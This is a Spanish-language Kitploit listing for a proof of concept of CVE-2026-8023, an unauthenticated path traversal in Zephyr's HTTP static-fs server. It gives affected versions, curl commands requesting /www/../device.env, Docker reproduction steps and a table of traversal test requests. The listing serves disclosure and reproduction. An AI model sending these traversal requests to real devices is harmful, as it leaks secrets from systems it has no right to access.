Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2026-8023 — PoC para CVE-2026-8023: Limitación Inadecuada de un Nombre de Ruta a un Directorio Restringido ('Path Traversal') | Kitploit
Herramientas/GitHubGitHub/ret2c/cve-2026-8023
Seguridad de Sistemas EmbebidosSeguridad IoTAnálisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebSeguridad Web
GitHubret2c/cve-2026-8023

CVE-2026-8023

PoC para CVE-2026-8023: Limitación Inadecuada de un Nombre de Ruta a un Directorio Restringido ('Path Traversal')

Ver Repositorio
hace 1 mesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir
Sitio web

CVE-2026-8023 — Travesía de ruta en HTTP static-fs de Zephyr (PoC)

Travesía de ruta sin autenticación en el manejador static-fs del servidor HTTP de Zephyr (subsys/net/lib/http) cuando se usa coincidencia de recursos comodín (CONFIG_HTTP_SERVER_RESOURCE_WILDCARD=y) con HTTP_RESOURCE_TYPE_STATIC_FS. Afecta tanto a HTTP/1.1 como a HTTP/2.

GHSA: GHSA-hch3-53g6-jj3h

  • Versiones afectadas: >= 4.0.0, < 4.3.1; >= 4.4.0, < 4.4.2
  • Confirmado contra: b93e61d02d5cd08d2fc559feb0253f9de3491777 (v4.4.0-rc1-32-gb93e61d02d5)
  • Introducido: commit e55278a87be4e5534ba772b23e459882866bcd6d (2024-07-31)
  • Commit de corrección: zephyrproject-rtos/zephyr#108531
root@kitploit:~
curl --http1.1 --path-as-is -i "http://$URL/www/../device.env"
curl --http2-prior-knowledge --path-as-is -i "http://$URL/www/../device.env"

Reproducir

root@kitploit:~
git clone https://github.com/zephyrproject-rtos/zephyr.git
cd zephyr && git checkout b93e61d02d5cd08d2fc559feb0253f9de3491777 && cd ..
west init -l zephyr
west update

# Copy the contents of this repo's pocs/ into zephyr/pocs/
docker build -f zephyr/pocs/Dockerfile.native-sim -t zephyr-httpfs-zdi .
docker run --rm -it -v "$PWD":/work -w /work zephyr-httpfs-zdi bash

# Inside container:
west build -p always -b native_sim/native/64 \
    zephyr/pocs/http_static_fs_native_sim \
    -- -DEXTRA_DTC_OVERLAY_FILE=ramdisk.overlay
./build/zephyr/zephyr.exe

El arnés monta una imagen LittleFS, escribe un secreto en /littlefs/device.env fuera de la raíz web /littlefs/www/, expone una ruta static-fs comodín, y luego realiza cuatro solicitudes de bucle de retorno:

Descargar herramienta
PruebaSolicitudEsperado
HTTP1_GLOB_TRAVERSALGET /www/../device.env (HTTP/1.1)200 + secreto
HTTP1_ENCODED_TRAVERSALGET /www/%2e%2e/device.env (HTTP/1.1)404 (sin decodificar)
HTTP2_GLOB_TRAVERSAL:path = /www/../device.env (HTTP/2)bytes del secreto
HTTP2_ENCODED_TRAVERSAL:path = /www/%2e%2e/device.env (HTTP/2)sin secreto